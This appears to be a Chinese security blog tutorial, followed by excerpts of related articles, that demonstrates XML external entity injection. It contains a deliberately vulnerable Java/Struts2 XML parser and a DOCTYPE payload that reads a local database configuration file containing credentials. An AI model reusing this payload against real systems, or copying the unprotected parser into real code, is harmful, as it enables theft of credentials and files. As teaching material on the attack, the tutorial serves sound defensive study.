看好你的门-攻击服务端(2)-注入XML实体 窃取本地数据库配置

首先需要声明,本文纯属一个毫无远见和真才实学的小小开发人员的愚昧见解,仅供用于web系统安全方面的参考。

1、XML注入

在我们经常开发、使用、运维的系统中,XML的使用频率是非常的高的。我们给服务器提供数据可能是XML(对用户而言不是,对系统和服务之间是),服务器返回给客户端的可能也是XML。

XML的功能本身非常强大,但是很多的时候我们并没有去理解它的强大的功能,而只是当它作为常规的数据传输的载体,于是这种漏洞的产生了。

2、 XML注入实体的案例

百度上好像发现了某个功能被XML注入实体 的漏洞;

腾讯上某功能好像也发现了类似的漏洞;

场景和前提说明

我们假设攻击者已经知道你的数据库配置文件以及所在位置

比如在:D:\ffm83 目录下的xml.ini 文件,现在我们要利用XML注入实体,来窃取这份数据库配置文件

xml.ini 文件的内容为:

username:user

password:pass

3、 XML注入实体的样例(页面部分)

仅用于示例和说明:

<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>阿饭同学的测试</title>
</head>
<body>
    <form action="aXmlQuery.action" method="post" name="form1">
        <table width="492" border="1">
            <tr><td>输入XML</td></tr>
            <tr>
                <td height="35">
                    <textarea  name="infos" cols="60"   rows="4"  ></textarea>
            </td>
            </tr>
            <tr align="center">
                <td colspan="2" bgcolor="#FFCC00"><input type="submit"  value="查询" />
                </td>
            </tr>
            <tr><td>欢迎您:<%=(String)request.getAttribute("username")%>   </td>
            </tr>
        </table>
    </form>
</body>
</html>

4、 XML注入实体的样例(JAVA实现部分)

package com.safe;
import java.io.ByteArrayInputStream;
import java.io.InputStream;

import javax.servlet.http.HttpServletRequest;

import org.apache.commons.configuration.XMLConfiguration;
import org.apache.commons.lang.xwork.StringUtils;
import org.apache.struts2.ServletActionContext;
import com.opensymphony.xwork2.ActionSupport;

public class EasyXmlQueryAction extends ActionSupport {
    private static final long serialVersionUID = 1931829246016041219L;

    public String execute() throws Exception {
        HttpServletRequest request = ServletActionContext.getRequest();
        String infos = request.getParameter("infos");
        String username = "";

        XMLConfiguration config = new XMLConfiguration();
        InputStream in = new ByteArrayInputStream(infos.getBytes());
        try{
            config.load(in);
            username = config.getString("username");
        }catch(Exception e){
            e.printStackTrace();
        }
        request.setAttribute("username", username);
        System.out.println("获得的信息为:" + infos);
        return "success";
    }
}

5、运行

我们在页面上输入一个正常的XML:

<?xml version="1.0" encoding="UTF-8" ?>
<widgets>
<username>NAME</username>
<sex>man</sex>
</widgets>
页面上显示:欢迎您:NAME

下面我们利用XML的实体注入进行窃取系统内部的敏感信息:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [<!ENTITY name SYSTEM "file:///D:/ffm83/xml.ini" >] >
<widgets>
<username>&name;</username>
<sex>man</sex>
</widgets>

页面上显示:欢迎您:username:user password:pass

内部核心数据完全暴露了。

时间: 2024-08-27 15:28:45

看好你的门-攻击服务端(2)-注入XML实体 窃取本地数据库配置的相关文章

看好你的门-攻击服务端(3)-SOAP注入攻击

首先需要声明,本文纯属一个毫无远见和真才实学的小小开发人员的愚昧见解,仅供用于web系统安全方面的参考. 1.SOAP注入攻击 服务器端的XML解析引擎从客户端接收输入信息,这里指的客户端可以是浏览器.来自网页应用程序的数据.一部移动设备或者是其它类型的来源.如果不对输入的信息进行正确验证,接收的结果就很可能出现错误,进而为攻击行为提供了便利. 从实际的角度来说,对SOAP的注入攻击漏洞是非常难寻找的,因为这些数据往往通过接口传输,而且很多的接口对错误的都是经过处理的. 2. SOAP注入攻击的

看好你的门-攻击服务端(4)-HTTP参数注入攻击

首先需要声明,本文纯属一个毫无远见和真才实学的小小开发人员的愚昧见解,仅供用于web系统安全方面的参考. 1.HTTP参数注入攻击 如果用户提交的参数,被用做后端HTTP请求中的参数,这个时候就有可能会导致HTTP参数注入. 一个自己想出来的烂比方: 一个P2P的转账系统:钱(money),从哪里(from)到哪里去(to). 一个很简单的系统.开发的时候为了复用代码,加了一个判断字符(check),当然,这个判断字符(check)是不会出现在这个P2P的转账系统的文档系统中: 2.一个典型的容

服务端模板注入(SSTI攻击)

服务端模板注入 1.模板注入原理 和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露.代码执行.GetShell 等问题.其影响范围主要取决于模版引擎的复杂性. <?php require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php'; Twig_Autoloader::register(true); $twig

Server Side JavaScript Code Injection Attack服务端js注入攻击

今天扫描器误报了这个漏洞,我觉着是误报了. 趁机了解一下, 好像是针对nosql与nodejs的服务端, 我觉着可能是js对于nodejs就是可执行的代码, 也就是任意代码执行, 这么一个攻击. stackoverflow上有一个http://stackoverflow.com/questions/27879131/server-side-javascript-code-injection-attack 巧了,看来我和他用了同款扫描工具,有了同样的问题. 看回答,大意竟是赞同他aspx可能有这个

WEB服务端安全---注入攻击

注入攻击是web领域最为常见的攻击方式,其本质是把用户输入的数据当做代码执行,主要原因是违背了数据与代码分离原则,其发生的两个条件:用户可以控制数据输入:代码拼接了用户输入的数据,把数据当做代码执行了. 下面是几种常见注入攻击及其防御方法: SQL注入及常见攻击技巧 经典注入  如: $username = $_POST['username']; $sql = "select * from usertable where username="."'".$userna

thrift 服务端linux C ++ 与客户端 windows python 环境配置(thrift 自带tutorial为例)

关于Thrift文档化的确是做的不好.摸索了很久才终于把跨linux与windows跨C++与python语言的配置成功完成.以下是步骤: 1)                 Linux下环境配置 l  完成thrift所依赖的其他软件包的安装:Boost.libtool.libevent.bison.flex 解压boost_1_55_0,进入boost_1_55_0目录下 chmod 777 bootstrap.sh chmod 777 ./tools/build/v2/engine/bu

Swift3.0服务端开发(二) 静态文件添加、路由配置以及表单提交

今天博客中就来聊一下Perfect框架的静态文件的添加与访问,路由的配置以及表单的提交.虽然官网上有聊静态文件的访问的部分,但是在使用Perfect框架来访问静态文件时还是有些点需要注意的,这些关键点在其官方文档上并未提出.今天我们要做的事情就是通过浏览器访问静态文件,然后在静态文件中使用form表单往指定的路由上进行提交相应的数据. 一.静态文件的添加与访问 1.未使用Xcode管理的Perfect的静态文件根目录的配置 在PHP开发或者Java Web开发中,都有一个根目录来存储相应的静态文

MySQL的安装(比较详细的安装步骤,包括客户端和服务端的安装,还有环境变量的配置以及使用Windows service启动MySQL)

1.MySQL官网下载操作系统对应的MySQL安装包,解压之后就可以直接使用(免安装). MySQL安装包,一种是MySQL Enterprise Edition (commercial)企业版,还有一种是社区版MySQL Community Edition (GPL) 我选择的是社区版安装.2.在解压后的目录中一般都有init配置文件,但是我的没有3.输入mysqld开启服务端,但是有可能会出现一些错误, C:\mysql-5.7.20-win32\bin>mysqld mysqld: Can

看好你的门-攻击数据存储区(5)-LDAP注入攻击

首先需要声明,本文纯属一个毫无远见和真才实学的小小开发人员的愚昧见解,仅供用于web系统安全方面的参考. 本文部分内容来自互联网和翻译 1.一些多余的话 LDAP注入和SQL注入,原理上非常相似 但是LDAP往往包含很多的数据,相对来说,危害性更加大. 2.一些案例 这些案例不一定是LDAP造成的,但是性质基本上差不多 WooYun: 腾讯某服务配置不当内部海量敏感信息泄露! http://www.wooyun.org/bugs/wooyun-2013-045626 WooYun: 腾讯某研发中